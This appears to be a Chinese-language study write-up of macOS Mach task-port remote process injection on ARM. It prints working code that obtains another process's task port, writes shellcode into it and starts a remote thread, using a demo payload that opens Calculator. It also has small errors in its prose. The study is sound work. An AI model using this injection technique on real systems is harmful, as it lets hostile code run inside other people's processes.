前言

非常感谢无私的郑佬分享某站的资源,看完 mach 相关章节后记录在 m1(arm) 下折腾远程进程注入的过程。

Mach IPC

Mach 最初是由卡内基梅隆大学作为微内核开发的,现如今它是 macOS 内核 XNU 的核心。其中使用 task 的概念作为共享资源的最小单位,任务之间的通信通过基于单向通信通道的 Mach IPC 进行,这些消息在 port 之间传递,一个端口与之关联还有内核权限,任务可以通过端口权限发送或接收消息,端口权限决定任务可以执行哪些操作。

特殊权限的端口

Task Port 限制

由于任务端口非常强大,因此对它们的访问受到非常严格的控制。除了 com.apple.system-task-ports 是由 Apple 独有权限并不会授权给第三方应用之外还有如下几种情况可以使用任务端口:

  1. 目标应用程序拥有 com.apple.security.get-task-allow 授权。

  2. 如果目标应用程序不是 Apple 平台二进制文件,也没使用强化运行时([Hardened Runtime](<https://developer.apple.com/documentation/security/hardened_runtime>))编译的,以 root 身份运行,就可以获得它的端口。

    或者恶意程序带着com.apple.security.cs.debugger 调试工具授权,则在运行时弹出授权对话框需要用户的允许。

    Untitled

远程进程代码注入

主要步骤如下:

实践:远程进程注入shellcode

巴斯使用的m1(arm)机器,接下来的就是演示 arm 下远程进程注入shellcode的操作过程。

目标程序

测试的目标程序使用之前 tap-10000.m 为例:

#import <Foundation/Foundation.h>

int main(int argc, const char *argv[]) {
  @autoreleasepool {
    int count = 10000;
    char none[30] = {0};
    NSLog(@"[tap1000]pid -> %d", getpid());
    NSLog(@"-> %d", count);

    while (count > 0) {
      gets(none);
      count--;
      NSLog(@"-> %d", count);
    }
  }
  return 0;
}

编译:clang -framework Foundation tap-10000.m -o tap10000

Arm Shellcode

准备个测试用的 shellcode,比如执行:/bin/zsh -c "open /System/Applications/Calculator.app"

正常写法如下:

#include <unistd.h>
int main(void)
{
    char *cmd[] = {"/bin/zsh", "-c", "open /System/Applications/Calculator.app", NULL};
    execv(cmd[0], cmd);
    return 0;
}

生成 shellcode 不合格,包含 rip 相对寻址和__stub 外部调用:

Untitled

第一步:消除__stub 外部调用。通过printf("%p \\n", execv); 打印 evecv 的地址,如0x18a5f3c68 ,用如下方式替换掉之前 evecv :

typedef int *(*execv_t)(const char *, char *const *);
execv_t my_execv = (execv_t)0x18a5f3c68;
...

第二步:消除相对寻址。将 "/bin/zsh" 替换为如下写法:

char cmd[9];
cmd[0] = '/';
cmd[1] = 'b';
cmd[2] = 'i';
cmd[3] = 'n';
cmd[4] = '/';
cmd[5] = 'z';
cmd[6] = 's';
cmd[7] = 'h';
cmd[8] = 0;

巴斯我写了个脚本将生成字符串转为char[]

a = [
    '/bin/zsh',
    '-c',
    'open /System/Applications/Calculator.app',
]
j = 0
for s in a:
    i = 0
    for c in s:
        print("arg%d[%d]='%s';"%(j,i, c))
        i+=1
    print("arg%d[%d]=0;\\n\\n"%(j,i))
    j+=1

最终代码如下:https://github.com/ac0d3r/mach101/blob/main/shellcode/clang/execve20_arm.c

远程进程注入shellcode

通过 task_for_pid 获取进程 pid 任务端口:

pid_t pid = 1024;
task_t remoteTask;
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
...

分别分配堆栈、代码内存空间:

#define STACK_SIZE 0x1000
#define CODE_SIZE 512
...
mach_vm_address_t remoteStack64 = (vm_address_t)NULL;
mach_vm_address_t remoteCode64 = (vm_address_t)NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE,
                        VM_FLAGS_ANYWHERE);
...
kr = mach_vm_allocate(remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE);

将 shellcode 写入代码内存空间:

kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t)shellcode, CODE_SIZE);

为分配的虚拟内存区域设置访问控制,堆栈设置读和执行权限、内存设置读写权限:

kr = vm_protect(remoteTask, remoteCode64, CODE_SIZE, FALSE,
                  VM_PROT_READ | VM_PROT_EXECUTE);
..
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE,
                  VM_PROT_READ | VM_PROT_WRITE);

远程线程执行,在arm下使用 arm_thread_state64_t 结构来存储有关线程的信息,指令指针和堆栈指针分别是__pc__sp ,而在x86 则是用 x86_thread_state64_t 结构,指令指针和堆栈指针分别是:__rip__rsp

arm_thread_state64_t remoteThreadState64;

memset(&remoteThreadState64, '\\0', sizeof(remoteThreadState64));
// shift stack 对其
remoteStack64 += (STACK_SIZE / 2); 

remoteThreadState64.__pc = (u_int64_t)remoteCode64;
remoteThreadState64.__sp = (u_int64_t)remoteStack64;

// thread variable
thread_act_t remoteThread;
// create thread
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64,
                           (thread_state_t)&remoteThreadState64,
                           ARM_THREAD_STATE64_COUNT, &remoteThread);

最终代码如下:https://github.com/ac0d3r/mach101/blob/main/mach/injecting-shellcode_arm.m

编译:clang -framework AppKit -framework Foundation injecting-shellcode_arm.m -o demo

测试

Untitled

执行成功,不过目标进程也异常:warning: this program uses gets(), which is unsafe. 还没有排查是哪里问题(tao。

参考


Powered by Kali-Team